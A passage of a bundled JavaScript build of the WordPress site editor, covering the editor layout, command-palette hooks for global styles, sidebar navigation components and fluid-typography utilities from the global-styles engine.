6626 ref: navigateRegionsProps.ref,
6627 className: clsx_default(
6628 "edit-site-layout",
6629 navigateRegionsProps.className,
6630 {
6631 "is-full-canvas": canvas === "edit",
6632 "show-icon-labels": showIconLabels
6633 }
6634 ),
6635 children: /* @__PURE__ */ (0, import_jsx_runtime77.jsxs)("div", { className: "edit-site-layout__content", children: [
6636 (!isMobileViewport || !areas2.mobile) && /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
6637 navigable_region_default,
6638 {
6639 ariaLabel: (0, import_i18n8.__)("Navigation"),
6640 className: "edit-site-layout__sidebar-region",
6641 children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_components8.__unstableAnimatePresence, { children: canvas === "view" && /* @__PURE__ */ (0, import_jsx_runtime77.jsxs)(
6642 import_components8.__unstableMotion.div,
6643 {
6644 initial: { opacity: 0 },
6645 animate: { opacity: 1 },
6646 exit: { opacity: 0 },
6647 transition: {
6648 type: "tween",
6649 duration: (
6650 // Disable transition in mobile to emulate a full page transition.
6651 disableMotion || isMobileViewport ? 0 : ANIMATION_DURATION2
6652 ),
6653 ease: "easeOut"
6654 },
6655 className: "edit-site-layout__sidebar",
6656 children: [
6657 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
6658 site_hub_default,
6659 {
6660 ref: toggleRef,
6661 isTransparent: isResizableFrameOversized
6662 }
6663 ),
6664 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(SidebarNavigationProvider, { children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
6665 SidebarContent,
6666 {
6667 shouldAnimate: routeKey !== "styles",
6668 routeKey,
6669 children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_editor6.ErrorBoundary, { children: areas2.sidebar })
6670 }
6671 ) }),
6672 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(SaveHub, {}),
6673 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(SavePanel, {})
6674 ]
6675 }
6676 ) })
6677 }
6678 ),
6679 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_notices.SnackbarNotices, { className: "edit-site-layout__snackbar" }),
6680 isMobileViewport && areas2.mobile && /* @__PURE__ */ (0, import_jsx_runtime77.jsx)("div", { className: "edit-site-layout__mobile", children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(SidebarNavigationProvider, { children: canvas !== "edit" ? /* @__PURE__ */ (0, import_jsx_runtime77.jsxs)(import_jsx_runtime77.Fragment, { children: [
6681 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
6682 SiteHubMobile,
6683 {
6684 ref: toggleRef,
6685 isTransparent: isResizableFrameOversized
6686 }
6687 ),
6688 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(SidebarContent, { routeKey, children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_editor6.ErrorBoundary, { children: areas2.mobile }) }),
6689 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(SaveHub, {}),
6690 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(SavePanel, {})
6691 ] }) : /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_editor6.ErrorBoundary, { children: areas2.mobile }) }) }),
6692 !isMobileViewport && areas2.content && canvas !== "edit" && /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
6693 "div",
6694 {
6695 className: "edit-site-layout__area",
6696 style: {
6697 maxWidth: widths?.content
6698 },
6699 children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_editor6.ErrorBoundary, { children: areas2.content })
6700 }
6701 ),
6702 !isMobileViewport && areas2.edit && canvas !== "edit" && /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
6703 "div",
6704 {
6705 className: "edit-site-layout__area",
6706 style: {
6707 maxWidth: widths?.edit
6708 },
6709 children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_editor6.ErrorBoundary, { children: areas2.edit })
6710 }
6711 ),
6712 !isMobileViewport && areas2.preview && /* @__PURE__ */ (0, import_jsx_runtime77.jsxs)("div", { className: "edit-site-layout__canvas-container", children: [
6713 canvasResizer,
6714 !!canvasSize.width && /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
6715 "div",
6716 {
6717 className: clsx_default(
6718 "edit-site-layout__canvas",
6719 {
6720 "is-right-aligned": isResizableFrameOversized
6721 }
6722 ),
6723 ref: animationRef,
6724 children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_editor6.ErrorBoundary, { children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
6725 resizable_frame_default,
6726 {
6727 isReady: !isEditorLoading,
6728 isFullWidth: canvas === "edit",
6729 defaultSize: {
6730 width: canvasSize.width - 24,
6731 height: canvasSize.height
6732 },
6733 isOversized: isResizableFrameOversized,
6734 setIsOversized: setIsResizableFrameOversized,
6735 innerContentStyle: {
6736 background: gradientValue ?? backgroundColor
6737 },
6738 children: areas2.preview
6739 }
6740 ) })
6741 }
6742 )
6743 ] })
6744 ] })
6745 }
6746 )
6747 ] });
6748 }
6749 function LayoutWithGlobalStylesProvider(props) {
6750 const { createErrorNotice } = (0, import_data13.useDispatch)(import_notices.store);
6751 function onPluginAreaError(name2) {
6752 createErrorNotice(
6753 (0, import_i18n8.sprintf)(
6754 /* translators: %s: plugin name */
6755 (0, import_i18n8.__)(
6756 'The "%s" plugin has encountered an error and cannot be rendered.'
6757 ),
6758 name2
6759 )
6760 );
6761 }
6762 return /* @__PURE__ */ (0, import_jsx_runtime77.jsxs)(import_components8.SlotFillProvider, { children: [
6763 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_plugins2.PluginArea, { onError: onPluginAreaError }),
6764 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(Layout, { ...props })
6765 ] });
6766 }
6767
6768 // packages/edit-site/build-module/hooks/commands/use-common-commands.mjs
6769 var import_element15 = __toESM(require_element(), 1);
6770 var import_data14 = __toESM(require_data(), 1);
6771 var import_i18n9 = __toESM(require_i18n(), 1);
6772 var import_commands2 = __toESM(require_commands(), 1);
6773 var import_router7 = __toESM(require_router(), 1);
6774 var import_preferences4 = __toESM(require_preferences(), 1);
6775 var import_core_data12 = __toESM(require_core_data(), 1);
6776 var import_editor7 = __toESM(require_editor(), 1);
6777 var { useHistory: useHistory4, useLocation: useLocation7 } = unlock(import_router7.privateApis);
6778 var { useGlobalStyles } = unlock(import_editor7.privateApis);
6779 var getGlobalStylesToggleWelcomeGuideCommands = () => function useGlobalStylesToggleWelcomeGuideCommands() {
6780 const { openGeneralSidebar: openGeneralSidebar2 } = unlock((0, import_data14.useDispatch)(store));
6781 const { params } = useLocation7();
6782 const { canvas = "view" } = params;
6783 const { set } = (0, import_data14.useDispatch)(import_preferences4.store);
6784 const history = useHistory4();
6785 const isBlockBasedTheme = (0, import_data14.useSelect)((select3) => {
6786 return select3(import_core_data12.store).getCurrentTheme().is_block_theme;
6787 }, []);
6788 const commands = (0, import_element15.useMemo)(() => {
6789 if (!isBlockBasedTheme) {
6790 return [];
6791 }
6792 return [
6793 {
6794 name: "core/edit-site/toggle-styles-welcome-guide",
6795 label: (0, import_i18n9.__)("Learn about styles"),
6796 callback: ({ close }) => {
6797 close();
6798 if (canvas !== "edit") {
6799 history.navigate("/styles?canvas=edit", {
6800 transition: "canvas-mode-edit-transition"
6801 });
6802 }
6803 openGeneralSidebar2("edit-site/global-styles");
6804 set("core/edit-site", "welcomeGuideStyles", true);
6805 setTimeout(() => {
6806 set("core/edit-site", "welcomeGuideStyles", true);
6807 }, 500);
6808 },
6809 icon: help_default
6810 }
6811 ];
6812 }, [history, openGeneralSidebar2, canvas, isBlockBasedTheme, set]);
6813 return {
6814 isLoading: false,
6815 commands
6816 };
6817 };
6818 var getGlobalStylesResetCommands = () => function useGlobalStylesResetCommands() {
6819 const { user, setUser } = useGlobalStyles();
6820 const canReset = !!user && (Object.keys(user?.styles ?? {}).length > 0 || Object.keys(user?.settings ?? {}).length > 0);
6821 const commands = (0, import_element15.useMemo)(() => {
6822 if (!canReset) {
6823 return [];
6824 }
6825 return [
6826 {
6827 name: "core/edit-site/reset-global-styles",
6828 label: (0, import_i18n9.__)("Reset styles"),
6829 icon: (0, import_i18n9.isRTL)() ? rotate_right_default : rotate_left_default,
6830 callback: ({ close }) => {
6831 close();
6832 setUser({ styles: {}, settings: {} });
6833 }
6834 }
6835 ];
6836 }, [canReset, setUser]);
6837 return {
6838 isLoading: false,
6839 commands
6840 };
6841 };
6842 var getGlobalStylesOpenRevisionsCommands = () => function useGlobalStylesOpenRevisionsCommands() {
6843 const { openGeneralSidebar: openGeneralSidebar2 } = unlock((0, import_data14.useDispatch)(store));
6844 const { setStylesPath } = unlock((0, import_data14.useDispatch)(import_editor7.store));
6845 const { params } = useLocation7();
6846 const { canvas = "view" } = params;
6847 const history = useHistory4();
6848 const hasRevisions = (0, import_data14.useSelect)((select3) => {
6849 const { getEntityRecord, __experimentalGetCurrentGlobalStylesId } = select3(import_core_data12.store);
6850 const globalStylesId = __experimentalGetCurrentGlobalStylesId();
6851 const globalStyles = globalStylesId ? getEntityRecord("root", "globalStyles", globalStylesId) : void 0;
6852 return !!globalStyles?._links?.["version-history"]?.[0]?.count;
6853 }, []);
6854 const commands = (0, import_element15.useMemo)(() => {
6855 if (!hasRevisions) {
6856 return [];
6857 }
6858 return [
6859 {
6860 name: "core/edit-site/open-styles-revisions",
6861 label: (0, import_i18n9.__)("Open style revisions"),
6862 icon: backup_default,
6863 callback: ({ close }) => {
6864 close();
6865 if (canvas !== "edit") {
6866 history.navigate("/styles?canvas=edit", {
6867 transition: "canvas-mode-edit-transition"
6868 });
6869 }
6870 openGeneralSidebar2("edit-site/global-styles");
6871 setStylesPath("/revisions");
6872 }
6873 }
6874 ];
6875 }, [
6876 history,
6877 openGeneralSidebar2,
6878 setStylesPath,
6879 hasRevisions,
6880 canvas
6881 ]);
6882 return {
6883 isLoading: false,
6884 commands
6885 };
6886 };
6887 function useCommonCommands() {
6888 (0, import_commands2.useCommandLoader)({
6889 name: "core/edit-site/toggle-styles-welcome-guide",
6890 hook: getGlobalStylesToggleWelcomeGuideCommands()
6891 });
6892 (0, import_commands2.useCommandLoader)({
6893 name: "core/edit-site/reset-global-styles",
6894 hook: getGlobalStylesResetCommands()
6895 });
6896 (0, import_commands2.useCommandLoader)({
6897 name: "core/edit-site/open-styles-revisions",
6898 hook: getGlobalStylesOpenRevisionsCommands()
6899 });
6900 }
6901
6902 // packages/edit-site/build-module/hooks/commands/use-set-command-context.mjs
6903 var import_data15 = __toESM(require_data(), 1);
6904 var import_commands3 = __toESM(require_commands(), 1);
6905 var import_block_editor3 = __toESM(require_block_editor(), 1);
6906 var import_router8 = __toESM(require_router(), 1);
6907 var { useCommandContext } = unlock(import_commands3.privateApis);
6908 var { useLocation: useLocation8 } = unlock(import_router8.privateApis);
6909 function useSetCommandContext() {
6910 const { query = {} } = useLocation8();
6911 const { canvas = "view" } = query;
6912 const hasBlockSelected = (0, import_data15.useSelect)((select3) => {
6913 return select3(import_block_editor3.store).getBlockSelectionStart();
6914 }, []);
6915 let commandContext = "site-editor";
6916 if (canvas === "edit") {
6917 commandContext = "entity-edit";
6918 }
6919 if (hasBlockSelected) {
6920 commandContext = "block-selection-edit";
6921 }
6922 useCommandContext(commandContext);
6923 }
6924
6925 // packages/edit-site/build-module/components/site-editor-routes/index.mjs
6926 var import_data82 = __toESM(require_data(), 1);
6927 var import_element160 = __toESM(require_element(), 1);
6928
6929 // packages/edit-site/build-module/components/sidebar-navigation-screen-main/index.mjs
6930 var import_components73 = __toESM(require_components(), 1);
6931 var import_i18n59 = __toESM(require_i18n(), 1);
6932 var import_data31 = __toESM(require_data(), 1);
6933 var import_core_data25 = __toESM(require_core_data(), 1);
6934
6935 // packages/edit-site/build-module/components/sidebar-navigation-screen/index.mjs
6936 var import_components10 = __toESM(require_components(), 1);
6937 var import_i18n10 = __toESM(require_i18n(), 1);
6938 var import_core_data13 = __toESM(require_core_data(), 1);
6939 var import_data16 = __toESM(require_data(), 1);
6940 var import_router9 = __toESM(require_router(), 1);
6941 var import_element16 = __toESM(require_element(), 1);
6942
6943 // packages/edit-site/build-module/components/sidebar-button/index.mjs
6944 var import_components9 = __toESM(require_components(), 1);
6945 var import_jsx_runtime78 = __toESM(require_jsx_runtime(), 1);
6946 function SidebarButton(props) {
6947 return /* @__PURE__ */ (0, import_jsx_runtime78.jsx)(
6948 import_components9.Button,
6949 {
6950 size: "compact",
6951 ...props,
6952 className: clsx_default("edit-site-sidebar-button", props.className)
6953 }
6954 );
6955 }
6956
6957 // packages/edit-site/build-module/components/sidebar-navigation-screen/index.mjs
6958 var import_jsx_runtime79 = __toESM(require_jsx_runtime(), 1);
6959 var { useHistory: useHistory5, useLocation: useLocation9 } = unlock(import_router9.privateApis);
6960 function SidebarNavigationScreen({
6961 isRoot,
6962 title,
6963 actions,
6964 content,
6965 footer,
6966 description,
6967 backPath: backPathProp
6968 }) {
6969 const { dashboardLink, dashboardLinkText, previewingThemeName } = (0, import_data16.useSelect)(
6970 (select3) => {
6971 const { getSettings: getSettings7 } = unlock(select3(store));
6972 const currentlyPreviewingThemeId = currentlyPreviewingTheme();
6973 return {
6974 dashboardLink: getSettings7().__experimentalDashboardLink,
6975 dashboardLinkText: getSettings7().__experimentalDashboardLinkText,
6976 // Do not call `getTheme` with null, it will cause a request to
6977 // the server.
6978 previewingThemeName: currentlyPreviewingThemeId ? select3(import_core_data13.store).getTheme(currentlyPreviewingThemeId)?.name?.rendered : void 0
6979 };
6980 },
6981 []
6982 );
6983 const location = useLocation9();
6984 const history = useHistory5();
6985 const { navigate } = (0, import_element16.useContext)(SidebarNavigationContext);
6986 const backPath = backPathProp ?? location.state?.backPath;
6987 const icon = (0, import_i18n10.isRTL)() ? chevron_right_default : chevron_left_default;
6988 return /* @__PURE__ */ (0, import_jsx_runtime79.jsxs)(import_jsx_runtime79.Fragment, { children: [
6989 /* @__PURE__ */ (0, import_jsx_runtime79.jsxs)(
6990 import_components10.__experimentalVStack,
6991 {
6992 className: clsx_default("edit-site-sidebar-navigation-screen__main", {
6993 "has-footer": !!footer
6994 }),
6995 spacing: 0,
6996 justify: "flex-start",
6997 children: [
6998 /* @__PURE__ */ (0, import_jsx_runtime79.jsxs)(
6999 import_components10.__experimentalHStack,
7000 {
7001 spacing: 3,
7002 alignment: "flex-start",
7003 className: "edit-site-sidebar-navigation-screen__title-icon",
7004 children: [
7005 !isRoot && /* @__PURE__ */ (0, import_jsx_runtime79.jsx)(
7006 SidebarButton,
7007 {
7008 onClick: () => {
7009 history.navigate(backPath);
7010 navigate("back");
7011 },
7012 icon,
7013 label: (0, import_i18n10.__)("Back"),
7014 showTooltip: false
7015 }
7016 ),
7017 isRoot && /* @__PURE__ */ (0, import_jsx_runtime79.jsx)(
7018 SidebarButton,
7019 {
7020 icon,
7021 label: dashboardLinkText || (0, import_i18n10.__)("Go to the Dashboard"),
7022 href: dashboardLink
7023 }
7024 ),
7025 /* @__PURE__ */ (0, import_jsx_runtime79.jsx)(
7026 import_components10.__experimentalHeading,
7027 {
7028 className: "edit-site-sidebar-navigation-screen__title",
7029 color: "#e0e0e0",
7030 level: 1,
7031 size: 20,
7032 children: !isPreviewingTheme() ? title : (0, import_i18n10.sprintf)(
7033 /* translators: 1: theme name. 2: title */
7034 (0, import_i18n10.__)("Previewing %1$s: %2$s"),
7035 previewingThemeName,
7036 title
7037 )
7038 }
7039 ),
7040 actions && /* @__PURE__ */ (0, import_jsx_runtime79.jsx)("div", { className: "edit-site-sidebar-navigation-screen__actions", children: actions })
7041 ]
7042 }
7043 ),
7044 /* @__PURE__ */ (0, import_jsx_runtime79.jsxs)("div", { className: "edit-site-sidebar-navigation-screen__content", children: [
7045 description && /* @__PURE__ */ (0, import_jsx_runtime79.jsx)("div", { className: "edit-site-sidebar-navigation-screen__description", children: description }),
7046 content
7047 ] })
7048 ]
7049 }
7050 ),
7051 footer && /* @__PURE__ */ (0, import_jsx_runtime79.jsx)("footer", { className: "edit-site-sidebar-navigation-screen__footer", children: footer })
7052 ] });
7053 }
7054
7055 // packages/edit-site/build-module/components/sidebar-navigation-item/index.mjs
7056 var import_components11 = __toESM(require_components(), 1);
7057 var import_i18n11 = __toESM(require_i18n(), 1);
7058 var import_router10 = __toESM(require_router(), 1);
7059 var import_element17 = __toESM(require_element(), 1);
7060 var import_jsx_runtime80 = __toESM(require_jsx_runtime(), 1);
7061 var { useHistory: useHistory6, useLink } = unlock(import_router10.privateApis);
7062 function SidebarNavigationItem({
7063 className,
7064 icon,
7065 withChevron = false,
7066 suffix,
7067 uid,
7068 to: to2,
7069 onClick,
7070 children,
7071 ...props
7072 }) {
7073 const history = useHistory6();
7074 const { navigate } = (0, import_element17.useContext)(SidebarNavigationContext);
7075 function handleClick(e2) {
7076 if (onClick) {
7077 onClick(e2);
7078 navigate("forward");
7079 } else if (to2) {
7080 e2.preventDefault();
7081 history.navigate(to2);
7082 navigate("forward", `[id="${uid}"]`);
7083 }
7084 }
7085 const linkProps = useLink(to2);
7086 return /* @__PURE__ */ (0, import_jsx_runtime80.jsx)(
7087 import_components11.__experimentalItem,
7088 {
7089 className: clsx_default(
7090 "edit-site-sidebar-navigation-item",
7091 { "with-suffix": !withChevron && suffix },
7092 className
7093 ),
7094 id: uid,
7095 onClick: handleClick,
7096 href: to2 ? linkProps.href : void 0,
7097 ...props,
7098 children: /* @__PURE__ */ (0, import_jsx_runtime80.jsxs)(import_components11.__experimentalHStack, { justify: "flex-start", children: [
7099 icon && /* @__PURE__ */ (0, import_jsx_runtime80.jsx)(
7100 icon_default,
7101 {
7102 style: { fill: "currentcolor" },
7103 icon,
7104 size: 24
7105 }
7106 ),
7107 /* @__PURE__ */ (0, import_jsx_runtime80.jsx)(import_components11.FlexBlock, { children }),
7108 withChevron && /* @__PURE__ */ (0, import_jsx_runtime80.jsx)(
7109 icon_default,
7110 {
7111 icon: (0, import_i18n11.isRTL)() ? chevron_left_small_default : chevron_right_small_default,
7112 className: "edit-site-sidebar-navigation-item__drilldown-indicator",
7113 size: 24
7114 }
7115 ),
7116 !withChevron && suffix
7117 ] })
7118 }
7119 );
7120 }
7121
7122 // packages/edit-site/build-module/components/sidebar-navigation-screen-global-styles/index.mjs
7123 var import_i18n58 = __toESM(require_i18n(), 1);
7124 var import_data30 = __toESM(require_data(), 1);
7125 var import_element49 = __toESM(require_element(), 1);
7126 var import_preferences5 = __toESM(require_preferences(), 1);
7127 var import_editor8 = __toESM(require_editor(), 1);
7128 var import_router11 = __toESM(require_router(), 1);
7129 var import_url7 = __toESM(require_url(), 1);
7130
7131 // packages/global-styles-ui/build-module/global-styles-ui.mjs
7132 var import_components71 = __toESM(require_components(), 1);
7133 var import_blocks8 = __toESM(require_blocks(), 1);
7134 var import_data29 = __toESM(require_data(), 1);
7135 var import_block_editor16 = __toESM(require_block_editor(), 1);
7136 var import_element48 = __toESM(require_element(), 1);
7137 var import_compose8 = __toESM(require_compose(), 1);
7138
7139 // packages/global-styles-engine/build-module/utils/object.mjs
7140 function setImmutably(object, path, value) {
7141 path = Array.isArray(path) ? [...path] : [path];
7142 object = Array.isArray(object) ? [...object] : { ...object };
7143 const leaf = path.pop();
7144 let prev = object;
7145 for (const key of path) {
7146 const lvl = prev[key];
7147 prev = prev[key] = Array.isArray(lvl) ? [...lvl] : { ...lvl };
7148 }
7149 prev[leaf] = value;
7150 return object;
7151 }
7152 var getValueFromObjectPath = (object, path, defaultValue2) => {
7153 const arrayPath = Array.isArray(path) ? path : path.split(".");
7154 let value = object;
7155 arrayPath.forEach((fieldName) => {
7156 value = value?.[fieldName];
7157 });
7158 return value ?? defaultValue2;
7159 };
7160
7161 // packages/global-styles-engine/build-module/settings/get-setting.mjs
7162 var VALID_SETTINGS = [
7163 "appearanceTools",
7164 "useRootPaddingAwareAlignments",
7165 "background.backgroundImage",
7166 "background.backgroundRepeat",
7167 "background.backgroundSize",
7168 "background.backgroundPosition",
7169 "border.color",
7170 "border.radius",
7171 "border.radiusSizes",
7172 "border.style",
7173 "border.width",
7174 "shadow.presets",
7175 "shadow.defaultPresets",
7176 "color.background",
7177 "color.button",
7178 "color.caption",
7179 "color.custom",
7180 "color.customDuotone",
7181 "color.customGradient",
7182 "color.defaultDuotone",
7183 "color.defaultGradients",
7184 "color.defaultPalette",
7185 "color.duotone",
7186 "color.gradients",
7187 "color.heading",
7188 "color.link",
7189 "color.palette",
7190 "color.text",
7191 "custom",
7192 "dimensions.aspectRatio",
7193 "dimensions.height",
7194 "dimensions.minHeight",
7195 "dimensions.width",
7196 "dimensions.dimensionSizes",
7197 "layout.contentSize",
7198 "layout.definitions",
7199 "layout.wideSize",
7200 "lightbox.enabled",
7201 "lightbox.allowEditing",
7202 "position.fixed",
7203 "position.sticky",
7204 "spacing.customSpacingSize",
7205 "spacing.defaultSpacingSizes",
7206 "spacing.spacingSizes",
7207 "spacing.spacingScale",
7208 "spacing.blockGap",
7209 "spacing.margin",
7210 "spacing.padding",
7211 "spacing.units",
7212 "typography.fluid",
7213 "typography.customFontSize",
7214 "typography.defaultFontSizes",
7215 "typography.dropCap",
7216 "typography.fontFamilies",
7217 "typography.fontSizes",
7218 "typography.fontStyle",
7219 "typography.fontWeight",
7220 "typography.letterSpacing",
7221 "typography.lineHeight",
7222 "typography.textAlign",
7223 "typography.textColumns",
7224 "typography.textDecoration",
7225 "typography.textIndent",
7226 "typography.textTransform",
7227 "typography.writingMode"
7228 ];
7229 function getSetting(globalStyles, path, blockName) {
7230 const appendedBlockPath = blockName ? ".blocks." + blockName : "";
7231 const appendedPropertyPath = path ? "." + path : "";
7232 const contextualPath = `settings${appendedBlockPath}${appendedPropertyPath}`;
7233 const globalPath = `settings${appendedPropertyPath}`;
7234 if (path) {
7235 return getValueFromObjectPath(globalStyles, contextualPath) ?? getValueFromObjectPath(globalStyles, globalPath);
7236 }
7237 let result = {};
7238 VALID_SETTINGS.forEach((setting) => {
7239 const value = getValueFromObjectPath(
7240 globalStyles,
7241 `settings${appendedBlockPath}.${setting}`
7242 ) ?? getValueFromObjectPath(globalStyles, `settings.${setting}`);
7243 if (value !== void 0) {
7244 result = setImmutably(result, setting.split("."), value);
7245 }
7246 });
7247 return result;
7248 }
7249
7250 // packages/global-styles-engine/build-module/settings/set-setting.mjs
7251 function setSetting(globalStyles, path, newValue, blockName) {
7252 const appendedBlockPath = blockName ? ".blocks." + blockName : "";
7253 const appendedPropertyPath = path ? "." + path : "";
7254 const finalPath = `settings${appendedBlockPath}${appendedPropertyPath}`;
7255 return setImmutably(
7256 globalStyles,
7257 finalPath.split("."),
7258 newValue
7259 );
7260 }
7261
7262 // packages/global-styles-engine/build-module/utils/common.mjs
7263 var import_style_engine = __toESM(require_style_engine(), 1);
7264
7265 // packages/global-styles-engine/build-module/utils/fluid.mjs
7266 var DEFAULT_MAXIMUM_VIEWPORT_WIDTH = "1600px";
7267 var DEFAULT_MINIMUM_VIEWPORT_WIDTH = "320px";
7268 var DEFAULT_SCALE_FACTOR = 1;
7269 var DEFAULT_MINIMUM_FONT_SIZE_FACTOR_MIN = 0.25;
7270 var DEFAULT_MINIMUM_FONT_SIZE_FACTOR_MAX = 0.75;
7271 var DEFAULT_MINIMUM_FONT_SIZE_LIMIT = "14px";
7272 function getComputedFluidTypographyValue({
7273 minimumFontSize,
7274 maximumFontSize,
7275 fontSize,
7276 minimumViewportWidth = DEFAULT_MINIMUM_VIEWPORT_WIDTH,
7277 maximumViewportWidth = DEFAULT_MAXIMUM_VIEWPORT_WIDTH,
7278 scaleFactor = DEFAULT_SCALE_FACTOR,
7279 minimumFontSizeLimit
7280 }) {
7281 minimumFontSizeLimit = !!getTypographyValueAndUnit(minimumFontSizeLimit) ? minimumFontSizeLimit : DEFAULT_MINIMUM_FONT_SIZE_LIMIT;
7282 if (fontSize) {
7283 const fontSizeParsed = getTypographyValueAndUnit(fontSize);
7284 if (!fontSizeParsed?.unit || !fontSizeParsed?.value) {
7285 return null;
7286 }
7287 const minimumFontSizeLimitParsed = getTypographyValueAndUnit(
7288 minimumFontSizeLimit,
7289 {
7290 coerceTo: fontSizeParsed.unit
7291 }
7292 );
7293 if (!!minimumFontSizeLimitParsed?.value && !minimumFontSize && !maximumFontSize) {
7294 if (fontSizeParsed?.value <= minimumFontSizeLimitParsed?.value) {
7295 return null;
7296 }
7297 }
7298 if (!maximumFontSize) {
7299 maximumFontSize = `${fontSizeParsed.value}${fontSizeParsed.unit}`;
7300 }
7301 if (!minimumFontSize) {
7302 const fontSizeValueInPx = fontSizeParsed.unit === "px" ? fontSizeParsed.value : fontSizeParsed.value * 16;
7303 const minimumFontSizeFactor = Math.min(
7304 Math.max(
7305 1 - 0.075 * Math.log2(fontSizeValueInPx),
7306 DEFAULT_MINIMUM_FONT_SIZE_FACTOR_MIN
7307 ),
7308 DEFAULT_MINIMUM_FONT_SIZE_FACTOR_MAX
7309 );
7310 const calculatedMinimumFontSize = roundToPrecision(
7311 fontSizeParsed.value * minimumFontSizeFactor,
7312 3
7313 );
7314 if (!!minimumFontSizeLimitParsed?.value && calculatedMinimumFontSize < minimumFontSizeLimitParsed?.value) {
7315 minimumFontSize = `${minimumFontSizeLimitParsed.value}${minimumFontSizeLimitParsed.unit}`;
7316 } else {
7317 minimumFontSize = `${calculatedMinimumFontSize}${fontSizeParsed.unit}`;
7318 }
7319 }
7320 }
7321 const minimumFontSizeParsed = getTypographyValueAndUnit(minimumFontSize);
7322 const fontSizeUnit = minimumFontSizeParsed?.unit || "rem";
7323 const maximumFontSizeParsed = getTypographyValueAndUnit(maximumFontSize, {
7324 coerceTo: fontSizeUnit
7325 });
7326 if (!minimumFontSizeParsed || !maximumFontSizeParsed) {
7327 return null;
7328 }
7329 const minimumFontSizeRem = getTypographyValueAndUnit(minimumFontSize, {
7330 coerceTo: "rem"
7331 });
7332 const maximumViewportWidthParsed = getTypographyValueAndUnit(
7333 maximumViewportWidth,
7334 { coerceTo: fontSizeUnit }
7335 );
7336 const minimumViewportWidthParsed = getTypographyValueAndUnit(
7337 minimumViewportWidth,
7338 { coerceTo: fontSizeUnit }
7339 );
7340 if (!maximumViewportWidthParsed || !minimumViewportWidthParsed || !minimumFontSizeRem) {
7341 return null;
7342 }
7343 const linearDenominator = maximumViewportWidthParsed.value - minimumViewportWidthParsed.value;
7344 if (!linearDenominator) {
7345 return null;
7346 }
7347 const minViewportWidthOffsetValue = roundToPrecision(
7348 minimumViewportWidthParsed.value / 100,
7349 3
7350 );
7351 const viewportWidthOffset = roundToPrecision(minViewportWidthOffsetValue, 3) + fontSizeUnit;
7352 const linearFactor = 100 * ((maximumFontSizeParsed.value - minimumFontSizeParsed.value) / linearDenominator);
7353 const linearFactorScaled = roundToPrecision(
7354 (linearFactor || 1) * scaleFactor,
7355 3
7356 );
7357 const fluidTargetFontSize = `${minimumFontSizeRem.value}${minimumFontSizeRem.unit} + ((1vw - ${viewportWidthOffset}) * ${linearFactorScaled})`;
7358 return `clamp(${minimumFontSize}, ${fluidTargetFontSize}, ${maximumFontSize})`;
7359 }
7360 function getTypographyValueAndUnit(rawValue, options = {}) {
7361 if (typeof rawValue !== "string" && typeof rawValue !== "number") {
7362 return null;
7363 }
7364 if (isFinite(rawValue)) {
7365 rawValue = `${rawValue}px`;
7366 }
7367 const { coerceTo, rootSizeValue, acceptableUnits } = {
7368 coerceTo: "",
7369 // Default browser font size. Later we could inject some JS to compute this `getComputedStyle( document.querySelector( "html" ) ).fontSize`.
7370 rootSizeValue: 16,
7371 acceptableUnits: ["rem", "px", "em"],
7372 ...options
7373 };
7374 const acceptableUnitsGroup = acceptableUnits?.join("|");
7375 const regexUnits = new RegExp(
7376 `^(\\d*\\.?\\d+)(${acceptableUnitsGroup}){1,1}$`
7377 );
7378 const matches = rawValue.toString().match(regexUnits);
7379 if (!matches || matches.length < 3) {
7380 return null;
7381 }
7382 let [, value, unit] = matches;
7383 let returnValue = parseFloat(value);
7384 if ("px" === coerceTo && ("em" === unit || "rem" === unit)) {
7385 returnValue = returnValue * rootSizeValue;
7386 unit = coerceTo;
7387 }
7388 if ("px" === unit && ("em" === coerceTo || "rem" === coerceTo)) {
7389 returnValue = returnValue / rootSizeValue;
7390 unit = coerceTo;
7391 }
7392 if (("em" === coerceTo || "rem" === coerceTo) && ("em" === unit || "rem" === unit)) {
7393 unit = coerceTo;
7394 }
7395 if (!unit) {
7396 return null;
7397 }
7398 return {
7399 value: roundToPrecision(returnValue, 3),
7400 unit
7401 };
7402 }
7403 function roundToPrecision(value, digits = 3) {
7404 const base = Math.pow(10, digits);
7405 return Math.round(value * base) / base;
7406 }
7407
7408 // packages/global-styles-engine/build-module/utils/typography.mjs
7409 function isFluidTypographyEnabled(typographySettings) {
7410 const fluidSettings = typographySettings?.fluid;
7411 return true === fluidSettings || fluidSettings && typeof fluidSettings === "object" && Object.keys(fluidSettings).length > 0;
7412 }
7413 function getFluidTypographyOptionsFromSettings(settings2) {
7414 const typographySettings = settings2?.typography ?? {};
7415 const layoutSettings = settings2?.layout;
7416 const defaultMaxViewportWidth = getTypographyValueAndUnit(
7417 layoutSettings?.wideSize
7418 ) ? layoutSettings?.wideSize : null;
7419 return isFluidTypographyEnabled(typographySettings) && defaultMaxViewportWidth ? {
7420 fluid: {
7421 maxViewportWidth: defaultMaxViewportWidth,
7422 ...typeof typographySettings.fluid === "object" ? typographySettings.fluid : {}
7423 }
7424 } : {
7425 fluid: typographySettings?.fluid
7426 };
7427 }
7428 function getTypographyFontSizeValue(preset, settings2) {
7429 const { size: defaultSize } = preset;
7430 if (!defaultSize || "0" === defaultSize || false === preset?.fluid) {
7431 return defaultSize;
7432 }
